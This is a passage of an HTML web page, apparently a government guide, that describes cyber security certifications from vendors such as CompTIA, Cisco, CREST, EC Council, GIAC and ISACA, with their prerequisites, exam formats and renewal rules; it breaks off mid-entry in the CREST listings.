mrgn-tp-sm mrgn-bttm-md"><button class="btn btn-primary wb-toggle" data-toggle="{&quot;selector&quot;: &quot;details&quot;, &quot;print&quot;: &quot;on&quot;, &quot;stateOn&quot;: &quot;on&quot;, &quot;stateOff&quot;: &quot;off&quot;, &quot;parent&quot;: &quot;#expands-collapse&quot;}" type="button">Expand | collapse all</button></div> <!– END TOGGLE Expand | collapse–> <div id="expands-collapse"> <details class="group" id="wb-auto-20"><summary><h3>2.1 CertNexus</h3> </summary><p>CertNexus offers certifications and micro-credentials in emerging technologies, such as Internet of Things (IoT), Artificial Intelligence (AI), and human-machine interfaces. Their four cyber security certifications are valid for three years.</p> <ul><li><strong>The Certified First Responder</strong> (CRF) certificate validates the knowledge and skills required to protect critical information and systems before, during, and after an incident.</li> <li><strong>Cyber Safe</strong> certification demonstrates that the holder can identify the most common risks involved in using mobile and cloud technologies, and to protect themselves and their organizations from cyber threats.</li> <li><strong>Cyber Secure Coder</strong> (CSC) certificate holders have learned about the vulnerabilities that undermine security, identification, and remediation of those vulnerabilities, as well as strategies for dealing with security defects.</li> <li>The <strong>IRBIZ</strong> micro-credential is for Information Technology (IT) leaders and executives who are responsible for complying with incident response legislation. Successfully completing the course and exam certifies that the candidate has the necessary skills to assess and respond to security threats, as well as operate a system and network security analysis platform.</li> </ul><p>A complete list of cyber security certifications offered by CertNexus can be found in <a href="#tab1">Section 5.1</a>.</p> </details><details class="group" id="wb-auto-21"><summary><h3>2.2 Cisco Systems</h3> </summary><p>Cisco Systems is a worldwide leader in networking hardware and solutions and most of today’s Internet traffic travels over Cisco-build network pathways. Obtaining one of their certifications demonstrates that you know how to work with Cisco solutions. There are five levels of certification in Cisco’s program:</p> <ul><li><strong>Entry</strong>: The starting point for individuals interested in starting a career as a networking professional.</li> <li><strong>Associate</strong>: Individuals master the essentials needed to launch a career and expand job possibilities with the latest technologies.</li> <li><strong>Professional</strong>: Individuals select a core technology track and a focused concentration exam to customize their professional level certification.</li> <li><strong>Expert</strong>: Certification is accepted worldwide as the most prestigious certification in the technology industry.</li> <li><strong>Architect</strong>: Demonstrates the architectural expertise of a network designer.</li> </ul><p>A complete list of cyber security certifications offered by Cisco Systems can be found in <a href="#tab2">Section 5.2</a>.</p> </details><details class="group" id="wb-auto-22"><summary><h3>2.3 Computing Technology Industry Association (CompTIA)</h3> </summary><p>The Computing Technology Industry Association (CompTIA) issues certifications in over 120 countries with over 2.2 million recipients. The organization also releases 50 industry studies each year tracking trends and changes. They offer numerous certifications covering a wide range of IT fields, including cyber security. The renewal process includes meeting continuing education requirements and paying the annual fees.</p> <ul><li><strong>CompTIA Advanced Security Practitioner</strong> (CASP+) is a performance-based certification for practitioners, rather than managers, at the advanced skill level of cyber security. CASP+ recipients have advanced-level knowledge of risk management, enterprise security operations and architecture, as well as research and collaboration.</li> <li><strong>CompTIA Cyber Security Analyst</strong> (CySA+) certification is a security analyst certification that covers advanced persistent threats in a post-2014 cyber security environment. It validates one’s expertise in security analytics, intrusion detection, and response.</li> <li><strong>CompTIA PenTest+</strong> is for cyber security professionals who are responsible for penetration testing and vulnerability management. Certification holders have demonstrated their up-to-date hands-on ability and knowledge to test devices in new environments, like cloud or mobile, as well as traditional desktops and servers.</li> <li><strong>CompTIA Security+</strong> is an entry-level certification. Certificate holders are experts in threat management, cryptography, identity management, security systems, security risk identification and mitigation, network access control, and security infrastructure. Candidates must have 2 years’ experience in network security and have already obtained their Network+ certification.</li> </ul><p>A complete list of cyber security certifications offered by CompTIA can be found in <a href="#tab3">Section 5.3</a>.</p> </details><details class="group" id="wb-auto-23"><summary><h3>2.4 Council for Registered Ethical Security Testers (CREST)</h3> </summary><p>The Council for Registered Ethical Security Testers (CREST) is a not-for-profit organization that provides internationally recognized certification and accreditation for companies and individuals. It has chapters in the United Kingdon (UK), United States (US), Australia, Singapore, and Hong Kong. They provide examinations in Penetration Testing, Threat Intelligence, Incident Response, Security Architecture. The Incident Response has been approved by Government Communications Headquarters (GCHQ). CREST exams have three levels of accreditation for individuals:</p> <ul><li><strong>Practitioner</strong> – Entry into profession</li> <li><strong>Registered</strong> – Competent to work independently without supervision</li> <li><strong>Certified</strong> – Technically competent to run major projects and teams</li> </ul><p>A complete list of cyber security certifications can be found in <a href="#tab4">Section 5.4</a>.</p> </details><details class="group" id="wb-auto-24"><summary><h3>2.5 Certified Wireless Network Professionals</h3> </summary><p>Certified Wireless Network Professionals (CWNP) is a vendor-neutral wireless local area network (WLAN) certification program. CWNP offers four levels of enterprise WLAN certifications, from novice to expert. Their certification programs prepare IT professionals and WLAN administrators to specify, design, and manage WLAN infrastructure and applications.</p> <ul><li><strong>Certified Wireless Network Expert</strong> (CWNE) is the highest-level certification in the CWNP program. Certificate holders have the most advanced skills available in today’s enterprise Wi-Fi market. Candidates must pass four certification exams, complete commercial WLAN deployments, provide three recommendations, meet experience and publication requirements, and pass a peer review by the CWNE Board of Advisors.</li> <li><strong>Certified Wireless Security Professional</strong> (CWSP) is a professional level WLAN certification for the CWNP program that validates an individual’s ability to assess the vulnerability of a network and help prevent attacks before they happen, perform WLAN security audits and implement compliance monitoring solutions, and design a network’s security architecture. Candidates must obtain Certified Wireless Network Administrator (CWNA) certification before they can earn CWNP certification.</li> </ul><p>A complete list of cyber security certifications offered by CWNP can be found in <a href="#tab5">Section 5.5</a>.</p> </details><details class="group" id="wb-auto-25"><summary><h3>2.6 EC Council</h3> </summary><p>EC Council is a cyber security technical certification board and operates in 145 countries. It is endorsed by the US Government, National Security Agency (NSA), and the Committee on National Security Systems (CNSS).</p> <ul><li>The <strong>Certified Ethical Hacker (ANSI)</strong> credential certifies one’s competence in the five phases of ethical hacking: reconnaissance, enumeration, gaining access, maintaining access, and covering tracks. Certification requires passing a 4-hour exam consisting of 125 questions.</li> <li>The <strong>Certified Ethical Hacker (Practical)</strong> designation targets the application of CEH skills to real-world security audit challenges and related scenarios. Candidates must complete a 6-hour exam featuring 20 case studies and obtain a 70% score.</li> <li>A <strong>Certified Ethical Hacker (Master)</strong> holds both the ANSI and Practical certifications.</li> <li>The <strong>Computer Hacking Forensics Investigator (CHFI)</strong> is another universally recognized certification that validates that the recipient is skilled in the areas of anti-hacking, digital forensics, and penetration testing.</li> <li>The <strong>Certified Network Defender (CND)</strong> certificate demonstrates a solid understanding of defensive security and the required expertise to secure data.</li> <li>The <strong>EC Council Disaster Recovery Professional (EDRP)</strong> certificate holders have the foundation for securing and restoring networks in the event of a disaster like malicious attacks.</li> </ul><p>A complete list of cyber security certifications offered by EC Council can be found in <a href="#tab6">Section 5.6</a>.</p> </details><details class="group" id="wb-auto-26"><summary><h3>2.7 Global Information Assurance Certification (GIAC)</h3> </summary><p>Global Information Assurance Certification (GIAC), founded by the SANS institute, specializes in technical and practical certification. Its certifications are linked to training courses provided by SANS and are recognized worldwide. Candidates for Expert Status certification are only required to pass an exam to obtain certification, which is valid for 4 years. To be eligible to renew at the end of the 4-year period, certificate holders must have 36 continuing education credits and pay the recertification fee or re-take the exam. Individuals wishing to pursue Gold Status certification must research and write a technical report or white paper. Gold Status indicates the holder has a deeper knowledge of a subject area.</p> <ul><li><strong>GIAC Security Essential Certification</strong> (GIAC) validates an individual’s knowledge information security beyond the simple terminology and concepts. Recipients are skilled in active defense, cryptography, security policy and plans, incident handling, securing networks, etc.</li> <li><strong>GIAC Certified Intrusion Analyst</strong> (GCIA) validates a practitioner’s knowledge of network and host monitoring, traffic analysis, and intrusion detection. Certificate holders are qualified to configure and monitor intrusion detection systems, and to analyze network traffic.</li> <li><strong>GIAC Certified Incident Handler</strong> (GCIH) demonstrates one’s ability to detect, respond, and resolve computer security incidents using a wide range of essential security skills. An individual with GCIH certification has a solid understanding of common cyber-attack techniques and how to defend against them.</li> </ul><p>A complete list of cyber security certifications offered by GIAC can be found in <a href="#tab7">Section 5.7</a>.</p> </details><details class="group" id="wb-auto-27"><summary><h3>2.8 Information Systems Audit and Control Association (ISACA)</h3> </summary><p>ISACA, formerly known as the Information Systems Audit and Control Association, is an international professional association focused on IT governance. It has more than 140,000 members and professionals holding ISACA certifications in 180 countries. Its 200+ chapters provide members with training, and networking and resource sharing opportunities.</p> <p>Candidates must pass written exams to obtain any of ISACA’s professional certifications, all of which are valid for three years. To maintain certification, credential holders are required to obtain at least 120 continuing professional education credits over the three-year period, and pay an annual membership fee, or re-take the exam. ISACA Cyber Security Certifications include the following:</p> <ul><li><strong>The Certified Information Security Manager</strong> (CISM) credential is aimed at leaders of Cyber Security teams, IT professionals responsible for managing, developing, and overseeing information security systems in enterprise-level applications, or for developing best organizational security practices. In addition to the written exam, candidates must have at least 5 years of security experience and submit a written application.</li> <li><strong>Certified in Risk and Information Systems Control</strong> (CRISC) certification demonstrates the ability to identify, evaluate, and respond to IT risks. Candidates must have 3 years of professional-level risk management and control experience and perform the tasks of at least two CRISC domains. For this certification, education is not an acceptable substitute for work experience.</li> <li><strong>Cyber Security Nexus Practitioner</strong> (CSX‑P) recognizes individuals who can act as first responders for security incidents. Created in 2015, tests one’s ability to perform globally validated cyber security covering the five core functions of the NIST Cyber Security Framework; Identify, Protect, Detect, Respond, and Recover. To obtain certification, candidates must pass a 4-hour performance-based exam consisting of simulated security incidents. At the end of the 3-year certification period, holders must take the latest version of the exam to recertify.</li> </ul><p>A complete list of cyber security certifications offered by ISACA can be found in <a href="#tab9">Section 5.9</a>.</p> </details><details class="group" id="wb-auto-28"><summary><h3>2.9 International Information System Security Certification Consortium (ISC2)</h3> </summary><p>The International Information Systems Security Certification Consortium, or (ISC)2, is a non-profit member organization that provides support to members with credentials, resources, and leadership to address cyber, information, software, and infrastructure security. It is a large IT Security organization, with more than 140,000 members worldwide, almost 6,000 of which are Canadian.</p> <p>(ISC)2 offers one of the most popular cyber security certifications:</p> <ul><li><strong>Certified Information Systems Security Professional</strong> (CISSP) designation is often required for the most in-demand cyber security jobs and is considered the ‘gold standard’ of security certifications. Requirements for this advanced level certification include a minimum of 5 years of experience in at least two of (ICS)2’s eight common body of knowledge domains, or 4 years of experience and a college degree or approved credentials. Candidates are also required to pass a 3-hour written exam. Re-certification is required every 3 years. To recertify, candidates must earn 120 continuing professional education credits within the three-year cycle and pay an annual fee.</li> </ul><p>A complete list of cyber security certifications offered by (ISC)2 can be found in <a href="#tab8">Section 5.8</a>.</p> </details><details class="group" id="wb-auto-29"><summary><h3>2.10 itSM Solutions</h3> </summary><p>Built around NIST Cyber Security Framework, itSM Solutions certifications validate that cybersecurity professionals have the baseline skills to design, build, test and manage a cybersecurity program using the NIST Cybersecurity Framework.</p> <ul><li><strong>NCSF Foundations</strong>: For executives, business and IT professionals who need a basic understanding of NCSF to perform their jobs</li> <li><strong>NCSF Practitioner</strong>: Teaches how to build and design a technology focused cyber security program and risk management program. Gives you a deeper understanding of the NCSF and how to adapt and operationalize it.</li> </ul><p>A complete list of cyber security certifications offered by itSM Solutions can be found in <a href="#tab10">Section 5.10</a>.</p> </details><details class="group" id="wb-auto-30"><summary><h3>2.11 McAffee Institute</h3> </summary><p>McAfee Institute offers several industry-recognized board certifications in the areas of cyber intelligence and investigations, digital forensics, and cryptocurrency investigations. Certificate holders come from some of the top law enforcement and government agencies like the U.S Air Force and Army, Federal Bureau of Investigation (FBI) and the New York Police Department (NYPD).</p> <ul><li><strong>Certified Cyber Intelligence Professional</strong> (CCIP) certification was developed in conjunction with the Department of Homeland Security’ National Cyber Security Workforce Framework. Certification demonstrates that an individual can identify persons of interest, conduct timely cyber investigations, and prosecute cyber criminals. Candidates must hold a bachelor’s degree or higher, and three years of experience in investigations, IT, fraud, law enforcement, forensics, criminal justice, law, and loss prevention.</li> </ul><p>A complete list of cyber security certifications offered by McAfee Institute can be found in <a href="#tab11">Section 5.11</a>.</p> </details><details class="group" id="wb-auto-31"><summary><h3>2.12 Offensive Security</h3> </summary><p>Offensive Security is an international company that provides security counselling and training for technology companies, including practical performance-based certification programs, virtual lab access, and open-source projects.</p> <ul><li><strong>Offensive Security Certified Professional</strong> (OSCP) certification is considered one of the hardest to obtain due to its difficult exam. Candidates are required to successfully attack and penetrate live machines in a safe, lab environment over a 24-hour period. Because of its hands-on nature, it is intended for penetration testers with strong technical and ethical hacking backgrounds. Prior to attempting the exam, candidates must complete the Penetration Testing training course offered by Offensive Security. Obtaining the certificate also qualifies the recipient for 40 (ISC)2 continuing education credits. Unlike many of the other cyber security certifications, the OSCP certificate never expires.</li> <li><strong>Security Operations and Defensive Analysis</strong> (OSDA) certification is tailored for IT professionals such as security operations centre analysts, threat intelligence analysts and others who are involved in safeguarding an organization’s IT environment. This certification encompasses several critical areas, including incident response, where candidates learn to effectively detect, respond to, and recover from security incidents. It also covers threat intelligence, which involves understanding and applying knowledge of emerging threats, and security monitoring, focusing on identifying suspicious activities through network and log analysis. Additionally, the certification delves into vulnerability management and cyber defense techniques, equipping professionals with the skills to assess, mitigate vulnerabilities, and implement robust defense strategies against cyber threats. You will also gain confidence configuring and monitoring a SIEM for active network attacks and be able to manually inspect logs to recognize normal and abnormal activity. The certification process requires participants to complete a comprehensive training course followed by a rigorous examination that tests both their theoretical knowledge and practical skills in these areas. Prior to attempting this certification, learners must have successfully completed Linux, Windows and Networks Basics courses from Offensive Security.</li> </ul><p>A complete list of cyber security certifications offered by Offensive Security can be found in <a href="#tab12">Section 5.12</a>.</p> </details><details class="group"><summary><h3>2.13 PECB</h3> </summary><p>PECB is a certification body that provides education and certification under International Organization for Standardization/International Electrotechnical Commission (ISO/IEC) 17024 (conformity assessment: general requirements for bodies operating certifications of individuals) on a wide variety of disciplines including information security and cloud security. They have a global network of distributers, trainers, and certified individuals in more than 150 countries. PECB is accredited by the International Accreditation Service (IAS) and the United Kingdom Accreditation Service (UKAS).</p> <ul><li><strong>Certified Lead Ethical Hacker</strong> credential demonstrates that you can lawfully assess the security of your organization’s systems and find their vulnerabilities.</li> </ul><p>A complete list of cyber security certifications offered by PECB can be found in <a href="#tab13">Section 5.13</a>.</p> </details><details class="group" id="wb-auto-32"><summary><h3>2.14 SECO Institute</h3> </summary><p><strong>Security &amp; Continuity Institute</strong> (SECO) is a European institute that offers high-level security and continuity certifications. The SECO certification program consists of seven different certification tracks, each focusing on a specific field of expertise, such as IT Security, Data Privacy, and Ethical Hacking. Tracks starts at the Foundation level, followed by Practitioner and Expert levels. Candidates can then apply for Certified Officer level certifications which are the highest achievable qualification in each certification track.</p> <ul><li><strong>Ethical Hacking Foundation</strong> (S‑EHF) is an entry-level certification for professionals seeking to enter the career field. Certificate holders understand the fundamentals of ethical hacking and can perform basic penetration testing. While there are no prerequisites, it is recommended that candidates have a basic understanding of Linux.</li> <li><strong>Ethical Hacking Practitioner</strong> (S‑EHP) is aimed at professionals who already have solid knowledge of ethical hacking basics. It is recommended that candidates obtain S-EHF certification first. Obtaining certification demonstrates that an individual has a full understanding of the penetration testing process and is familiar with common penetration testing techniques.</li> </ul><p>A complete list of cyber security certifications offered by SECO can be found in <a href="#tab14">Section 5.14</a>.</p> </details></div> </section><div class="pull-right mrgn-tp-md small text-muted mrgn-bttm-md"><a href="#wb-tphp" title="Return to Top of page">Top of page</a></div> <section><h2 id="C">3.0 Cyber Credentials Collaborative</h2> <p>Cyber Credentials Collaborative (C3) was created in 2011 to promote the benefits of certifications in the skills development of information security professionals around the world. C3 provides awareness of and advocacy for vendor-neutral credentials in information security, privacy, and other IT disciplines. By providing a forum for members to collaborate on issues of shared concern, C3 aims to advance IT careers, better prepare the workforce, and ensure that IT certifications are developed to meet the needs of government, private organizations, and educational institutions.</p> <p>The following listed certification bodies are all members of C3:</p> <ul><li>(ISC)2</li> <li>CertNexus</li> <li>CompTIA</li> <li>Global Information Assurance Certification</li> <li>ISACA</li> </ul></section><section><h2 id="D">4.0 Cyber Security certification listings and descriptions</h2> <p>The tables below offer a more fulsome list of the different cyber security certifications available to individuals, in alphabetical order <sup id="fn2-rf"><a class="fn-lnk" href="#fn2"><span class="wb-inv">Footnote </span>2</a></sup>.</p> <p>Prior to attempting a certification exam, candidates can purchase training (in-class, online, or self-paced courses) and other exam preparation materials, such as practice exams, through the vendors and training providers listed in the last column. Some vendors also offer course bundles that include exam fees. To find out more about certification training options and providers, please visit the certification body website.</p> <div class="btn-group mrgn-tp-sm mrgn-bttm-md"><button class="btn btn-primary wb-toggle" data-toggle="{&quot;selector&quot;: &quot;details&quot;, &quot;print&quot;: &quot;on&quot;, &quot;stateOn&quot;: &quot;on&quot;, &quot;stateOff&quot;: &quot;off&quot;, &quot;parent&quot;: &quot;#section2&quot;}" type="button">Expand | collapse all</button></div> <!– END TOGGLE Expand | collapse–> <div id="section2"> <details class="grouped" id="wb-auto-4"><summary><h3 id="tab1">4.1 CertNexus</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified First Responder (CFR)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of analyzing threats, designing secure computing and network environments, proactively defecting networks and responding to/investigating cyber security incidents</li> <li>DoD approved (Directive 8140)</li> <li>Candidates should have 3-5 years of experience working in a computing environment protecting critical information systems before, during, and after an incident</li> <li>Exam consists of 100 multiple choice questions</li> <li>Valid for 3 years</li> <li>2 options for re-certification: <ul><li>Take the most recent version of the exam</li> <li>Earn 90 continuing educated credits within the 3 years and paying annual fees</li> </ul></li> </ul><h5>Intended candidates</h5> <ul><li>System Administrators</li> <li>Network Administrators</li> <li>Incident Responders</li> <li>Cyber Crime Investigators</li> <li>IT Auditors</li> <li>Security Analysts</li> <li>Network Analysts</li> <li>Information Systems Security Engineers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified IoT Security Practitioner (CIoTSP)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge, skills, and ability to secure network environments for IoT devices, analyze vulnerabilities and determine reasonable controls against threats and effectively monitor IoT devices and respond to incidents</li> <li>Candidates should have a fundamental understanding of IoT ecosystems</li> <li>Exam consists of 100 multiple choice questions</li> </ul><h5>Intended candidates</h5> <ul><li>Network Administrators</li> <li>Software Development Engineer</li> <li>Solution Architects</li> <li>Cyber Security Analysts</li> <li>Web Developers</li> <li>Cloud Engineers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Cyber Secure Coder (CSC)</h4> </div> <h5>Certification overview</h5> <ul><li>Demonstrates that a candidate has learned about the vulnerabilities that undermine security, identification and remediation of those vulnerabilities, and strategies for dealing with security defects.</li> <li>Candidates should have some programming experience (developing desktop, mobile, web, or cloud applications)</li> <li>Exam consists of 80 multiple choice questions</li> <li>Valid for 3 years</li> </ul><h5>Intended candidates</h5> <ul><li>Lead Developers</li> <li>Junior Programmers</li> <li>Application Testers</li> <li>QA Testers</li> <li>Software Designers</li> <li>Software Architects</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">CyberSafe</h4> </div> <h5>Certification overview</h5> <ul><li>Validates that a candidate can identify the most common risks involved in using mobile and cloud technologies, and to protect themselves and their organizations from cyber threats</li> <li>No prerequisites for exam but candidates should have experience with basic technology (computers, smartphones, email, internet etc.)</li> <li>Exam is only 10 questions and has no time limit</li> </ul><h5>Intended candidates</h5> <ul><li>Non-technical computer end-users</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">IRBIZ micro credential</h4> </div> <h5>Certification overview</h5> <ul><li>Certifies that a candidate has the necessary skills to assess and respond to security threats, and operation a system and network security analysis platform.</li> <li>Candidates should have a general understanding of cyber security</li> <li>Exam consists of 10 multiple choice and true/false questions</li> <li>Valid for 3 years</li> </ul><h5>Intended candidates</h5> <ul><li>IT leaders and Executives responsible for incident response legislation compliance</li> </ul></details><details class="grouped" id="wb-auto-5"><summary><h3 id="tab2">4.2 Cisco Systems</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Cisco Certified CyberOps Associate</h4> </div> <h5>Certification overview</h5> <ul><li>Certification prepares candidates to begin working with associate-level cybersecurity analysts within security operations centers</li> <li>No prerequisites</li> <li>DoD approved (Directive 8570)</li> <li>Candidates must pass two 2 exams to receive certification</li> <li>Valid for 3 years</li> <li>Recertification requires taking a recertification exam, or completing learning activities and 30 earning continuing education credits</li> </ul><h5>Intended candidates</h5> <ul><li>Cyber Security Analysts</li> <li>Security Operations Centre Team members</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Cisco Certified CyberOps Professional</h4> </div> <h5>Certification overview</h5> <ul><li>New certification introduced in 2021</li> <li>Validates a candidate’s knowledge of cloud computing security, risk management, and threat intelligence analysis</li> <li>No prerequisites</li> <li>Valid for 3 years</li> <li>Recertification requires advancing to the next level of certification, earning continuing education credits, or a combination of both</li> </ul><h5>Intended candidates</h5> <ul><li>Information Security Analysts</li> <li>Incident Responders</li> <li>Incident Managers</li> <li>Network Engineers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Cisco Certified Internetwork Expert (CCIE) Security</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of security infrastructure including network security, cloud security, content security, endpoint protection and detection, secure network access, visibility and enforcements</li> <li>No perquisites</li> <li>It is recommended that candidates have 5-7 years of experience of designing, deploying, operating and optimizing security technologies and solutions</li> <li>Certification requires passing a qualifying exam and an 8-hour hands-on lab exam</li> <li>Valid for 3 years</li> <li>Recertification requires advancing to the next level of certification, earning continuing education credits, or a combination of both</li> </ul><h5>Intended candidates</h5> <ul><li>Senior networking professionals with at least 5-7 years of experience</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Cisco Certified Network Professional (CCNP) Security</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of enterprise infrastructure, virtualization, assurance, security, and automation</li> <li>No perquisites</li> <li>It is recommended that candidates have 3-5 years of experience implementing security solutions</li> <li>Certification requires passing a core exam and a concentration exam.</li> <li>Valid for 3 years</li> <li>Recertification requires advancing to the next level of certification, earning continuing education credits, or a combination of both</li> </ul><h5>Intended candidates</h5> <ul><li>Professionals with 3-5 years of implementing security solutions</li> <li>Network engineers</li> <li>System engineers</li> <li>Network technicians</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Cisco Certified Support Technician (CCST) Cybersecurity</h4> </div> <h5>Certification overview</h5> <ul><li>New certification introduced in 2023</li> <li>Entry-level certification</li> <li>No prerequisites</li> <li>Validates a candidate’s skills and knowledge of entry-level cyber security concepts and topics including security principles, network security and endpoint security concepts, vulnerability assessment and risk management, and incident handling</li> <li>Certification does not expire and there is no need to recertify</li> </ul><h5>Intended candidates</h5> <ul><li>Late secondary and postsecondary students</li> <li>Students in technical schools</li> <li>Entry-level IT or networking professionals</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Cisco Certified Support Technician (CCST) Networking</h4> </div> <h5>Certification overview</h5> <ul><li>New certification introduced in 2023</li> <li>Entry-level certification</li> <li>No prerequisites</li> <li>Validates a candidate’s skills and knowledge of entry-level networking concepts and topics including how networks operate, including the devices, media, and protocols that enable network communications</li> <li>Certification does not expire and there is no need to recertify</li> </ul><h5>Intended candidates</h5> <ul><li>Late secondary and postsecondary students</li> <li>Students in technical schools</li> <li>Entry-level IT or networking professionals</li> </ul></details><details class="grouped" id="wb-auto-6"><summary><h3 id="tab3">4.3 CompTIA</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Advanced Security Practitioner (CASP+)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced level certification</li> <li>The only performance-based certifications for practitioners rather than managers, at the advanced level of cyber security</li> <li>Validates advanced-level competency in risk management, enterprise security operations and architecture, research and collaboration, and integration of enterprise security</li> <li>DoD approved (Directive 8140/8570)</li> <li>Candidates require 10 years of experience in IT administration; 5 of which are hands-on technical security experience</li> <li>Exam consists of 90 multiple choice and performance-based questions</li> <li>Valid for 3 years</li> <li>Renewal requires obtaining 75 continuing education credits during the 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Security Architect</li> <li>Technical Lead Analyst</li> <li>Security Engineer</li> <li>Application Security Engineer</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Cyber Security Analyst (CySA+)</h4> </div> <h5>Certification overview</h5> <ul><li>Intermediate level cybersecurity analyst certification</li> <li>The most up to date security analyst certification covering advanced persistent threats in a post-2014 cyber security environment.</li> <li>Validates a candidate’s expertise in security analytics, intrusion detection, and response</li> <li>Candidates should have 3-4 years of information security or related experience, and Network+ or Security+ certification, or equivalent knowledge</li> <li>Approved by US Department of Defence</li> <li>Exam consists of 85 multiple choice and performance-based questions</li> <li>Valid for 3 years</li> <li>Renewal requires obtaining 60 continuing education credits during the 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>IT Security Analyst</li> <li>Security Operations Centre Analyst</li> <li>Cyber Security Specialist</li> <li>Threat Intelligence Analyst</li> <li>Security Engineer</li> <li>Cyber Security Analyst</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Network+</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge and skills in designing and implementing functional networks</li> <li>Prerequisites are A+ certification and 9-12 months of networking experience</li> <li>Good to have for developing a career in IT infrastructure (troubleshooting, configuring, managing networks)</li> <li>Exam consists of 90 multiple choice and performance-based questions</li> <li>Valid for 3 years</li> <li>Renewal requires obtaining 30 continuing education credits during the 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Entry-level positions</li> <li>Junior Network Administrator</li> <li>Computer technician</li> <li>Junior System Engineer</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">PenTest+</h4> </div> <h5>Certification overview</h5> <ul><li>Intermediate level certification</li> <li>Validates a candidate’s ability and knowledge to test devices in new environments, like cloud or mobile, as well as traditional desktops and servers</li> <li>Candidates should have 3-4 years of hands-on information security or related experience</li> <li>Exam consists of a maximum of 85 multiple choice and performance-based questions</li> <li>Renewal requires obtaining 60 continuing education credits during the 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Penetration Tester</li> <li>Vulnerability Tester</li> <li>Security Analyst</li> <li>Network Security Operations</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Security+</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level certification</li> <li>Validates baseline cyber security skills needed to perform core security functions</li> <li>Certificate holders are experts in threat management, network access control, and security infrastructure.</li> <li>Candidates must have 2 years of experience in network security and obtained Network+ certification</li> <li>Valid for 3 years</li> <li>Renewal requires obtaining 50 continuing education credits during the 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Systems Administrator</li> <li>Network Administrator</li> <li>Security Administrator</li> <li>Penetration Tester</li> <li>Security Engineer</li> </ul></details><details class="grouped" id="wb-auto-7"><summary><h3 id="tab4">4.4 Council for Registered Ethical Security Testers (CREST)</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Infrastructure Tester</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to assess a network for flaws and vulnerabilities at the network and operating system layer</li> <li>Exam consists of a multiple-choice written portion, and two 6hr hands-on practical components</li> <li>Valid for 3 years</li> <li>To recertify, candidates must re-write the exam</li> </ul><h5>Intended candidates</h5> <ul><li>System Administrators</li> <li>Penetration Testers</li> <li>Information Security Managers</li> <li>Incident Handlers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Web Application Tester</h4> </div> <h5>Certification overview</h5> <ul><li>Assesses a candidate’s ability to find vulnerabilities in bespoke web applications.</li> <li>Exam consists of a multiple-choice written portion, and two 6hr hands-on practical components</li> <li>Valid for 3 years</li> <li>To recertify, candidates must re-write the exam</li> </ul><h5>Intended candidates</h5> <ul><li>Penetration Testers</li> <li>Ethical Hackers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">CREST Certified Wireless Specialist (CCWS)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge and skills in performing traditional wireless security reviews, RFID, Bluetooth and other wireless technologies</li> <li>Prerequisite is successful completion of one of the core CREST certification exams</li> <li>2-part exam: 120 multiple choice questions and practical tasks</li> <li>Valid for 3 years</li> <li>To recertify, candidates must re-write the exam</li> </ul><h5>Intended candidates</h5> <ul><li>Senior professionals</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Practitioner Security Analyst (CPSA)</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level certification</li> <li>Validates a candidate’s knowledge in assessing operating systems and common network services at a basic level</li> <li>Candidates must demonstrate that they have the knowledge to perform basic infrastructure and web application vulnerability scans and interpret the results to locate security vulnerabilities.</li> <li>Exam consists of multiple-choice questions</li> <li>Valid for 3 years</li> <li>To recertify, candidates must re-write the exam</li> </ul><h5>Intended candidates</h5> <ul><li>System Administrators</li> <li>Penetration Testers</li> <li>Information Security Managers</li> <li>Incident Handlers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Registered Penetration Tester (CRT)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to carry out basic vulnerability assessment and penetration testing tasks.</li> <li>During the exam, 